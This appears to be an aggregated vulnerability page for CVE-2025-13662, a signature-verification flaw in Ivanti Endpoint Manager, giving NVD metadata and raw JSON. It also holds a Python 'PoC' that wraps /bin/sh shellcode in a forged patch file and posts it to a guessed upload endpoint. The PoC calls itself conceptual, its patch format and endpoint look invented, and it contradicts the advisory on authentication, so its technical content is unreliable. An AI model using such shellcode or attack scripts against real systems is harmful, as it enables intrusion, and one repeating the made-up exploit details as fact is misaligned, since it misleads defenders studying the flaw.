Security Vulnerability Report
中文
CVE-2025-13662 CVSS 7.8 HIGH

CVE-2025-13662

Published: 2025-12-09 16:17:36
Last Modified: 2025-12-11 17:22:34
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Improper verification of cryptographic signatures in the patch management component of Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote unauthenticated attacker to execute arbitrary code. User Interaction is required.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:* - VULNERABLE
Ivanti Endpoint Manager < 2024 SU4 SR1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import hashlib import struct # CVE-2025-13662 PoC - Constructing malicious patch with invalid signature # Target: Ivanti Endpoint Manager < 2024 SU4 SR1 def generate_malicious_patch(): """ Generate a malicious patch file that bypasses signature verification """ # Patch file header structure header = b'EPM_PATCH' # Magic bytes version = struct.pack('<I', 1) # Patch version flags = struct.pack('<I', 0x00) # No signature verification flag # Malicious payload - reverse shell or arbitrary code execution payload = b'\x90' * 16 # NOP sled payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # This is a sample shellcode - replace with actual target-specific payload # Invalid/corrupted signature (bypassing verification) invalid_signature = b'\x00' * 256 patch_data = header + version + flags + payload + invalid_signature return patch_data def exploit(target_url): """ Send malicious patch to Ivanti EPM server """ patch_data = generate_malicious_patch() # Craft HTTP request to upload malicious patch headers = { 'User-Agent': 'Ivanti Endpoint Manager Agent', 'Content-Type': 'application/octet-stream' } # Target endpoint for patch upload endpoint = f'{target_url}/patch/upload' try: response = requests.post(endpoint, data=patch_data, headers=headers) print(f'[+] Response Status: {response.status_code}') print(f'[+] Malicious patch sent successfully') return True except Exception as e: print(f'[-] Error: {str(e)}') return False # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires: # 1. Valid authentication or session hijacking # 2. Understanding of specific patch format # 3. Appropriate shellcode for target environment # 4. Network access to EPM server if __name__ == '__main__': target = 'https://vulnerable-epm-server.com' exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13662", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-12-09T16:17:36.250", "lastModified": "2025-12-11T17:22:33.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signatures in the patch management component of Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote unauthenticated attacker to execute arbitrary code. User Interaction is required."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "7ABDE6FE-56CC-4A46-91F2-2F54C3EC6A75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su4:*:*:*:*:*:*", "matchCriteriaId": "4902A745-E7CB-4FC9-9BCB-89EFAB643237"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-EPM-December-2025-for-EPM-2024", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}